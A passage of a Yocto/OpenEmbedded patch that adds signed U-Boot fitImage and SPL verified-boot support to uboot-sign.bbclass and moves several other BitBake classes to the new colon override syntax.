+UBOOT_FITIMAGE_IMAGE ?= "u-boot-fitImage-${MACHINE}-${PV}-${PR}"
+UBOOT_FITIMAGE_BINARY ?= "u-boot-fitImage"
+UBOOT_FITIMAGE_SYMLINK ?= "u-boot-fitImage-${MACHINE}"
+SPL_DIR ?= "spl"
+SPL_DTB_IMAGE ?= "u-boot-spl-${MACHINE}-${PV}-${PR}.dtb"
+SPL_DTB_BINARY ?= "u-boot-spl.dtb"
+SPL_DTB_SYMLINK ?= "u-boot-spl-${MACHINE}.dtb"
+SPL_NODTB_IMAGE ?= "u-boot-spl-nodtb-${MACHINE}-${PV}-${PR}.bin"
+SPL_NODTB_BINARY ?= "u-boot-spl-nodtb.bin"
+SPL_NODTB_SYMLINK ?= "u-boot-spl-nodtb-${MACHINE}.bin"
+
+# U-Boot fitImage description
+UBOOT_FIT_DESC ?= "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
+
+# Kernel / U-Boot fitImage Hash Algo
+FIT_HASH_ALG ?= "sha256"
+UBOOT_FIT_HASH_ALG ?= "sha256"
+
+# Kernel / U-Boot fitImage Signature Algo
+FIT_SIGN_ALG ?= "rsa2048"
+UBOOT_FIT_SIGN_ALG ?= "rsa2048"
+
+# Generate keys for signing Kernel / U-Boot fitImage
+FIT_GENERATE_KEYS ?= "0"
+UBOOT_FIT_GENERATE_KEYS ?= "0"
-# Functions in this bbclass is for u-boot only
+# Size of private keys in number of bits
+FIT_SIGN_NUMBITS ?= "2048"
+UBOOT_FIT_SIGN_NUMBITS ?= "2048"
+
+# args to openssl genrsa (Default is just the public exponent)
+FIT_KEY_GENRSA_ARGS ?= "-F4"
+UBOOT_FIT_KEY_GENRSA_ARGS ?= "-F4"
+
+# args to openssl req (Default is -batch for non interactive mode and
+# -new for new certificate)
+FIT_KEY_REQ_ARGS ?= "-batch -new"
+UBOOT_FIT_KEY_REQ_ARGS ?= "-batch -new"
+
+# Standard format for public key certificate
+FIT_KEY_SIGN_PKCS ?= "-x509"
+UBOOT_FIT_KEY_SIGN_PKCS ?= "-x509"
+
+# Functions on this bbclass can apply to either U-boot or Kernel,
+# depending on the scenario
UBOOT_PN = "${@d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'}"
+KERNEL_PN = "${@d.getVar('PREFERRED_PROVIDER_virtual/kernel')}"
+
+# We need u-boot-tools-native if we're creating a U-Boot fitImage
+python() {
+ if d.getVar('UBOOT_FITIMAGE_ENABLE') == '1':
+ depends = d.getVar("DEPENDS")
+ depends = "%s u-boot-tools-native dtc-native" % depends
+ d.setVar("DEPENDS", depends)
+}
concat_dtb_helper() {
if [ -e "${UBOOT_DTB_BINARY}" ]; then
@@ -57,28 +119,65 @@ concat_dtb_helper() {
ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_BINARY}
fi
- # Concatenate U-Boot w/o DTB & DTB with public key
- # (cf. kernel-fitimage.bbclass for more details)
- deployed_uboot_dtb_binary='${DEPLOY_DIR_IMAGE}/${UBOOT_DTB_IMAGE}'
- if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
- [ -e "$deployed_uboot_dtb_binary" ]; then
- oe_runmake EXT_DTB=$deployed_uboot_dtb_binary
- install ${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
- elif [ -e "${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}" -a -e "$deployed_uboot_dtb_binary" ]; then
+ # If we're not using a signed u-boot fit, concatenate SPL w/o DTB & U-Boot DTB
+ # with public key (otherwise it will be deployed by the equivalent
+ # concat_spl_dtb_helper function - cf. kernel-fitimage.bbclass for more details)
+ if [ "${SPL_SIGN_ENABLE}" != "1" ] ; then
+ deployed_uboot_dtb_binary='${DEPLOY_DIR_IMAGE}/${UBOOT_DTB_IMAGE}'
+ if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
+ [ -e "$deployed_uboot_dtb_binary" ]; then
+ oe_runmake EXT_DTB=$deployed_uboot_dtb_binary
+ install ${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
+ elif [ -e "${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}" -a -e "$deployed_uboot_dtb_binary" ]; then
+ cd ${DEPLOYDIR}
+ cat ${UBOOT_NODTB_IMAGE} $deployed_uboot_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${UBOOT_BINARY} > ${UBOOT_IMAGE}
+
+ if [ -n "${UBOOT_CONFIG}" ]
+ then
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]
+ then
+ cp ${UBOOT_IMAGE} ${B}/${CONFIG_B_PATH}/u-boot-$type.${UBOOT_SUFFIX}
+ fi
+ done
+ done
+ fi
+ else
+ bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
+ fi
+ fi
+}
+
+concat_spl_dtb_helper() {
+
+ # We only deploy symlinks to the u-boot-spl.dtb,as the KERNEL_PN will
+ # be responsible for deploying the real file
+ if [ -e "${SPL_DIR}/${SPL_DTB_BINARY}" ] ; then
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_SYMLINK}
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_BINARY}
+ fi
+
+ # Concatenate the SPL nodtb binary and u-boot.dtb
+ deployed_spl_dtb_binary='${DEPLOY_DIR_IMAGE}/${SPL_DTB_IMAGE}'
+ if [ -e "${DEPLOYDIR}/${SPL_NODTB_IMAGE}" -a -e "$deployed_spl_dtb_binary" ] ; then
cd ${DEPLOYDIR}
- cat ${UBOOT_NODTB_IMAGE} $deployed_uboot_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${UBOOT_BINARY} > ${UBOOT_IMAGE}
+ cat ${SPL_NODTB_IMAGE} $deployed_spl_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${SPL_BINARY} > ${SPL_IMAGE}
else
- bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
+ bbwarn "Failure while adding public key to spl binary. Verified U-Boot boot won't be available."
fi
}
+
concat_dtb() {
if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
mkdir -p ${DEPLOYDIR}
if [ -n "${UBOOT_CONFIG}" ]; then
for config in ${UBOOT_MACHINE}; do
- CONFIG_B_PATH="${config}"
- cd ${B}/${config}
+ CONFIG_B_PATH="$config"
+ cd ${B}/$config
concat_dtb_helper
done
else
@@ -89,44 +188,307 @@ concat_dtb() {
fi
}
+concat_spl_dtb() {
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${SPL_DTB_BINARY}" ]; then
+ mkdir -p ${DEPLOYDIR}
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ for config in ${UBOOT_MACHINE}; do
+ CONFIG_B_PATH="$config"
+ cd ${B}/$config
+ concat_spl_dtb_helper
+ done
+ else
+ CONFIG_B_PATH=""
+ cd ${B}
+ concat_spl_dtb_helper
+ fi
+ fi
+}
+
+
# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
install_helper() {
if [ -f "${UBOOT_DTB_BINARY}" ]; then
- install -d ${D}${datadir}
# UBOOT_DTB_BINARY is a symlink to UBOOT_DTB_IMAGE, so we
# need both of them.
- install ${UBOOT_DTB_BINARY} ${D}${datadir}/${UBOOT_DTB_IMAGE}
+ install -Dm 0644 ${UBOOT_DTB_BINARY} ${D}${datadir}/${UBOOT_DTB_IMAGE}
ln -sf ${UBOOT_DTB_IMAGE} ${D}${datadir}/${UBOOT_DTB_BINARY}
else
bbwarn "${UBOOT_DTB_BINARY} not found"
fi
}
-do_install_append() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
+# Install SPL dtb and u-boot nodtb to datadir,
+install_spl_helper() {
+ if [ -f "${SPL_DIR}/${SPL_DTB_BINARY}" ]; then
+ install -Dm 0644 ${SPL_DIR}/${SPL_DTB_BINARY} ${D}${datadir}/${SPL_DTB_IMAGE}
+ ln -sf ${SPL_DTB_IMAGE} ${D}${datadir}/${SPL_DTB_BINARY}
+ else
+ bbwarn "${SPL_DTB_BINARY} not found"
+ fi
+ if [ -f "${UBOOT_NODTB_BINARY}" ] ; then
+ install -Dm 0644 ${UBOOT_NODTB_BINARY} ${D}${datadir}/${UBOOT_NODTB_IMAGE}
+ ln -sf ${UBOOT_NODTB_IMAGE} ${D}${datadir}/${UBOOT_NODTB_BINARY}
+ else
+ bbwarn "${UBOOT_NODTB_BINARY} not found"
+ fi
+
+ # We need to install a 'stub' u-boot-fitimage + its to datadir,
+ # so that the KERNEL_PN can use the correct filename when
+ # assembling and deploying them
+ touch ${D}/${datadir}/${UBOOT_FITIMAGE_IMAGE}
+ touch ${D}/${datadir}/${UBOOT_ITS_IMAGE}
+}
+
+do_install:append() {
+ if [ "${PN}" = "${UBOOT_PN}" ]; then
if [ -n "${UBOOT_CONFIG}" ]; then
for config in ${UBOOT_MACHINE}; do
- cd ${B}/${config}
- install_helper
+ cd ${B}/$config
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ]; then
+ install_helper
+ fi
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ install_spl_helper
+ fi
done
else
cd ${B}
- install_helper
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ]; then
+ install_helper
+ fi
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ install_spl_helper
+ fi
fi
fi
}
-do_deploy_prepend_pn-${UBOOT_PN}() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ]; then
+do_uboot_generate_rsa_keys() {
+ if [ "${SPL_SIGN_ENABLE}" = "0" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+ bbwarn "UBOOT_FIT_GENERATE_KEYS is set to 1 eventhough SPL_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+
+ # Generate keys only if they don't already exist
+ if [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key ] || \
+ [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${SPL_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing U-Boot fitImage"
+ openssl genrsa ${UBOOT_FIT_KEY_GENRSA_ARGS} -out \
+ "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ "${UBOOT_FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing U-Boot fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${UBOOT_FIT_KEY_SIGN_PKCS}" \
+ -key "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ -out "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt
+ fi
+ fi
+
+}
+
+addtask uboot_generate_rsa_keys before do_uboot_assemble_fitimage after do_compile
+
+# Create a ITS file for the U-boot FIT, for use when
+# we want to sign it so that the SPL can verify it
+uboot_fitimage_assemble() {
+ uboot_its="$1"
+ uboot_nodtb_bin="$2"
+ uboot_dtb="$3"
+ uboot_bin="$4"
+ spl_dtb="$5"
+ uboot_csum="${UBOOT_FIT_HASH_ALG}"
+ uboot_sign_algo="${UBOOT_FIT_SIGN_ALG}"
+ uboot_sign_keyname="${SPL_SIGN_KEYNAME}"
+
+ rm -f $uboot_its $uboot_bin
+
+ # First we create the ITS script
+ cat << EOF >> $uboot_its
+/dts-v1/;
+
+/ {
+ description = "${UBOOT_FIT_DESC}";
+ #address-cells = <1>;
+
+ images {
+ uboot {
+ description = "U-Boot image";
+ data = /incbin/("$uboot_nodtb_bin");
+ type = "standalone";
+ os = "u-boot";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ load = <${UBOOT_LOADADDRESS}>;
+ entry = <${UBOOT_ENTRYPOINT}>;
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> $uboot_its
+ signature {
+ algo = "$uboot_csum,$uboot_sign_algo";
+ key-name-hint = "$uboot_sign_keyname";
+ };
+EOF
+ fi
+
+ cat << EOF >> $uboot_its
+ };
+ fdt {
+ description = "U-Boot FDT";
+ data = /incbin/("$uboot_dtb");
+ type = "flat_dt";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> $uboot_its
+ signature {
+ algo = "$uboot_csum,$uboot_sign_algo";
+ key-name-hint = "$uboot_sign_keyname";
+ };
+EOF
+ fi
+
+ cat << EOF >> $uboot_its
+ };
+ };
+
+ configurations {
+ default = "conf";
+ conf {
+ description = "Boot with signed U-Boot FIT";
+ loadables = "uboot";
+ fdt = "fdt";
+ };
+ };
+};
+EOF
+
+ #
+ # Assemble the U-boot FIT image
+ #
+ ${UBOOT_MKIMAGE} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -f $uboot_its \
+ $uboot_bin
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ #
+ # Sign the U-boot FIT image and add public key to SPL dtb
+ #
+ ${UBOOT_MKIMAGE_SIGN} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -F -k "${SPL_SIGN_KEYDIR}" \
+ -K "$spl_dtb" \
+ -r $uboot_bin \
+ ${SPL_MKIMAGE_SIGN_ARGS}
+ fi
+
+}
+
+do_uboot_assemble_fitimage() {
+ # This function runs in KERNEL_PN context. The reason for that is that we need to
+ # support the scenario where UBOOT_SIGN_ENABLE is placing the Kernel fitImage's
+ # pubkey in the u-boot.dtb file, so that we can use it when building the U-Boot
+ # fitImage itself.
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${SPL_DTB_BINARY}" -a "${PN}" = "${KERNEL_PN}" ] ; then
+ if [ "${UBOOT_SIGN_ENABLE}" != "1" ]; then
+ # If we're not signing the Kernel fitImage, that means
+ # we need to copy the u-boot.dtb from staging ourselves
+ cp -P ${STAGING_DATADIR}/u-boot*.dtb ${B}
+ fi
+ # As we are in the kernel context, we need to copy u-boot-spl.dtb from staging first.
+ # Unfortunately, need to glob on top of ${SPL_DTB_BINARY} since _IMAGE and _SYMLINK
+ # will contain U-boot's PV
+ # Similarly, we need to get the filename for the 'stub' u-boot-fitimage + its in
+ # staging so that we can use it for creating the image with the correct filename
+ # in the KERNEL_PN context.
+ # As for the u-boot.dtb (with fitimage's pubkey), it should come from the dependent
+ # do_assemble_fitimage task
+ cp -P ${STAGING_DATADIR}/u-boot-spl*.dtb ${B}
+ cp -P ${STAGING_DATADIR}/u-boot-nodtb*.bin ${B}
+ rm -rf ${B}/u-boot-fitImage-* ${B}/u-boot-its-*
+ kernel_uboot_fitimage_name=`basename ${STAGING_DATADIR}/u-boot-fitImage-*`
+ kernel_uboot_its_name=`basename ${STAGING_DATADIR}/u-boot-its-*`
+ cd ${B}
+ uboot_fitimage_assemble $kernel_uboot_its_name ${UBOOT_NODTB_BINARY} \
+ ${UBOOT_DTB_BINARY} $kernel_uboot_fitimage_name \
+ ${SPL_DTB_BINARY}
+ fi
+}
+
+addtask uboot_assemble_fitimage before do_deploy after do_compile
+
+do_deploy:prepend:pn-${UBOOT_PN}() {
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
concat_dtb
fi
+
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ # Deploy the u-boot-nodtb binary and symlinks...
+ if [ -f "${SPL_DIR}/${SPL_NODTB_BINARY}" ] ; then
+ echo "Copying u-boot-nodtb binary..."
+ install -m 0644 ${SPL_DIR}/${SPL_NODTB_BINARY} ${DEPLOYDIR}/${SPL_NODTB_IMAGE}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_SYMLINK}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_BINARY}
+ fi
+
+
+ # We only deploy the symlinks to the uboot-fitImage and uboot-its
+ # images, as the KERNEL_PN will take care of deploying the real file
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_SYMLINK}
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS}
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS_SYMLINK}
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ] ; then
+ concat_spl_dtb
+ fi
+
+
+}
+
+do_deploy:append:pn-${UBOOT_PN}() {
+ # If we're creating a u-boot fitImage, point u-boot.bin
+ # symlink since it might get used by image recipes
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_SYMLINK}
+ fi
}
python () {
- if d.getVar('UBOOT_SIGN_ENABLE') == '1' and d.getVar('PN') == d.getVar('UBOOT_PN') and d.getVar('UBOOT_DTB_BINARY'):
- kernel_pn = d.getVar('PREFERRED_PROVIDER_virtual/kernel')
+ if ( (d.getVar('UBOOT_SIGN_ENABLE') == '1'
+ or d.getVar('UBOOT_FITIMAGE_ENABLE') == '1')
+ and d.getVar('PN') == d.getVar('UBOOT_PN')
+ and d.getVar('UBOOT_DTB_BINARY')):
# Make "bitbake u-boot -cdeploy" deploys the signed u-boot.dtb
- d.appendVarFlag('do_deploy', 'depends', ' %s:do_deploy' % kernel_pn)
+ # and/or the U-Boot fitImage
+ d.appendVarFlag('do_deploy', 'depends', ' %s:do_deploy' % d.getVar('KERNEL_PN'))
+
+ if d.getVar('UBOOT_FITIMAGE_ENABLE') == '1' and d.getVar('PN') == d.getVar('KERNEL_PN'):
+ # As the U-Boot fitImage is created by the KERNEL_PN, we need
+ # to make sure that the u-boot-spl.dtb and u-boot-spl-nodtb.bin
+ # files are in the staging dir for it's use
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_populate_sysroot' % d.getVar('UBOOT_PN'))
+
+ # If the Kernel fitImage is being signed, we need to
+ # create the U-Boot fitImage after it
+ if d.getVar('UBOOT_SIGN_ENABLE') == '1':
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_assemble_fitimage' % d.getVar('KERNEL_PN'))
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_assemble_fitimage_initramfs' % d.getVar('KERNEL_PN'))
+
}
diff --git a/meta/classes/uninative.bbclass b/meta/classes/uninative.bbclass
index 1e19917a97..4412d7c567 100644
--- a/meta/classes/uninative.bbclass
+++ b/meta/classes/uninative.bbclass
@@ -2,7 +2,7 @@ UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/
UNINATIVE_STAGING_DIR ?= "${STAGING_DIR}"
UNINATIVE_URL ?= "unset"
-UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc.tar.xz"
+UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc-${UNINATIVE_VERSION}.tar.xz"
# Example checksums
#UNINATIVE_CHECKSUM[aarch64] = "dead"
#UNINATIVE_CHECKSUM[i686] = "dead"
@@ -100,7 +100,7 @@ ${UNINATIVE_STAGING_DIR}-uninative/relocate_sdk.py \
${UNINATIVE_LOADER} \
${UNINATIVE_LOADER} \
${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/${bindir_native}/patchelf-uninative \
- ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so" % chksum)
+ ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so*" % chksum)
subprocess.check_output(cmd, shell=True)
with open(loaderchksum, "w") as f:
diff --git a/meta/classes/update-alternatives.bbclass b/meta/classes/update-alternatives.bbclass
index 8c2b66e7f1..fc1ffd828c 100644
--- a/meta/classes/update-alternatives.bbclass
+++ b/meta/classes/update-alternatives.bbclass
@@ -6,9 +6,9 @@
# To use this class a number of variables should be defined:
#
# List all of the alternatives needed by a package:
-# ALTERNATIVE_<pkg> = "name1 name2 name3 ..."
+# ALTERNATIVE:<pkg> = "name1 name2 name3 ..."
#
-# i.e. ALTERNATIVE_busybox = "sh sed test bracket"
+# i.e. ALTERNATIVE:busybox = "sh sed test bracket"
#
# The pathname of the link
# ALTERNATIVE_LINK_NAME[name] = "target"
@@ -123,7 +123,7 @@ def gen_updatealternativesvars(d):
for p in pkgs:
for v in vars:
- ret.append(v + "_" + p)
+ ret.append(v + ":" + p)
ret.append(v + "_VARDEPS_" + p)
return " ".join(ret)
@@ -141,10 +141,10 @@ python apply_update_alternative_renames () {
import re
def update_files(alt_target, alt_target_rename, pkg, d):
- f = d.getVar('FILES_' + pkg)
+ f = d.getVar('FILES:' + pkg)
if f:
f = re.sub(r'(^|\s)%s(\s|$)' % re.escape (alt_target), r'\1%s\2' % alt_target_rename, f)
- d.setVar('FILES_' + pkg, f)
+ d.setVar('FILES:' + pkg, f)
# Check for deprecated usage...
pn = d.getVar('BPN')
@@ -156,7 +156,7 @@ python apply_update_alternative_renames () {
for pkg in (d.getVar('PACKAGES') or "").split():
# If the src == dest, we know we need to rename the dest by appending ${BPN}
link_rename = []
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
if not alt_link:
alt_link = "%s/%s" % (d.getVar('bindir'), alt_name)
@@ -184,7 +184,7 @@ python apply_update_alternative_renames () {
link_rename.append((alt_target, alt_target_rename))
else:
bb.note('%s: Rename %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
update_files(alt_target, alt_target_rename, pkg, d)
else:
bb.warn("%s: alternative target (%s or %s) does not exist, skipping..." % (pn, alt_target, alt_target_rename))
@@ -201,7 +201,7 @@ python apply_update_alternative_renames () {
if os.path.lexists(link_target):
# Ok, the link_target exists, we can rename
bb.note('%s: Rename (link) %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
else:
# Try to resolve the broken link to link.${BPN}
link_maybe = '%s.%s' % (os.readlink(src), pn)
@@ -233,7 +233,7 @@ def update_alternatives_alt_targets(d, pkg):
pn = d.getVar('BPN')
pkgdest = d.getVar('PKGD')
updates = list()
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or \
d.getVarFlag('ALTERNATIVE_TARGET', alt_name) or \
@@ -259,7 +259,7 @@ def update_alternatives_alt_targets(d, pkg):
return updates
-PACKAGESPLITFUNCS_prepend = "populate_packages_updatealternatives "
+PACKAGESPLITFUNCS:prepend = "populate_packages_updatealternatives "
python populate_packages_updatealternatives () {
if not update_alternatives_enabled(d):
@@ -280,24 +280,24 @@ python populate_packages_updatealternatives () {
provider = d.getVar('VIRTUAL-RUNTIME_update-alternatives')
if provider:
#bb.note('adding runtime requirement for update-alternatives for %s' % pkg)
- d.appendVar('RDEPENDS_%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
+ d.appendVar('RDEPENDS:%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
bb.note('adding update-alternatives calls to postinst/prerm for %s' % pkg)
bb.note('%s' % alt_setup_links)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if postinst:
postinst = alt_setup_links + postinst
else:
postinst = '#!/bin/sh\n' + alt_setup_links
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.note('%s' % alt_remove_links)
- prerm = d.getVar('pkg_prerm_%s' % pkg) or '#!/bin/sh\n'
+ prerm = d.getVar('pkg_prerm:%s' % pkg) or '#!/bin/sh\n'
prerm += alt_remove_links
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
}
-python package_do_filedeps_append () {
+python package_do_filedeps:append () {
if update_alternatives_enabled(d):
apply_update_alternative_provides(d)
}
@@ -307,7 +307,7 @@ def apply_update_alternative_provides(d):
pkgdest = d.getVar('PKGDEST')
for pkg in d.getVar('PACKAGES').split():
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or d.getVarFlag('ALTERNATIVE_TARGET', alt_name)
alt_target = alt_target or d.getVar('ALTERNATIVE_TARGET_%s' % pkg) or d.getVar('ALTERNATIVE_TARGET') or alt_link
@@ -321,7 +321,7 @@ def apply_update_alternative_provides(d):
# Add file provide
trans_target = oe.package.file_translate(alt_target)
- d.appendVar('FILERPROVIDES_%s_%s' % (trans_target, pkg), " " + alt_link)
- if not trans_target in (d.getVar('FILERPROVIDESFLIST_%s' % pkg) or ""):
- d.appendVar('FILERPROVIDESFLIST_%s' % pkg, " " + trans_target)
+ d.appendVar('FILERPROVIDES:%s:%s' % (trans_target, pkg), " " + alt_link)
+ if not trans_target in (d.getVar('FILERPROVIDESFLIST:%s' % pkg) or ""):
+ d.appendVar('FILERPROVIDESFLIST:%s' % pkg, " " + trans_target)
diff --git a/meta/classes/update-rc.d.bbclass b/meta/classes/update-rc.d.bbclass
index 1366fee653..0a3a608662 100644
--- a/meta/classes/update-rc.d.bbclass
+++ b/meta/classes/update-rc.d.bbclass
@@ -1,11 +1,11 @@
UPDATERCPN ?= "${PN}"
-DEPENDS_append_class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
+DEPENDS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
UPDATERCD = "update-rc.d"
-UPDATERCD_class-cross = ""
-UPDATERCD_class-native = ""
-UPDATERCD_class-nativesdk = ""
+UPDATERCD:class-cross = ""
+UPDATERCD:class-native = ""
+UPDATERCD:class-nativesdk = ""
INITSCRIPT_PARAMS ?= "defaults"
@@ -62,8 +62,8 @@ python __anonymous() {
update_rc_after_parse(d)
}
-PACKAGESPLITFUNCS_prepend = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd ', '', d)}"
-PACKAGESPLITFUNCS_remove_class-nativesdk = "populate_packages_updatercd "
+PACKAGESPLITFUNCS:prepend = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd ', '', d)}"
+PACKAGESPLITFUNCS:remove:class-nativesdk = "populate_packages_updatercd "
populate_packages_updatercd[vardeps] += "updatercd_prerm updatercd_postrm updatercd_postinst"
populate_packages_updatercd[vardepsexclude] += "OVERRIDES"
@@ -78,7 +78,7 @@ python populate_packages_updatercd () {
statement = "grep -q -w '/etc/init.d/functions' %s" % path
if subprocess.call(statement, shell=True) == 0:
mlprefix = d.getVar('MLPREFIX') or ""
- d.appendVar('RDEPENDS_' + pkg, ' %sinitd-functions' % (mlprefix))
+ d.appendVar('RDEPENDS:' + pkg, ' %sinitd-functions' % (mlprefix))
def update_rcd_package(pkg):
bb.debug(1, 'adding update-rc.d calls to postinst/prerm/postrm for %s' % pkg)
@@ -89,25 +89,25 @@ python populate_packages_updatercd () {
update_rcd_auto_depend(pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('updatercd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
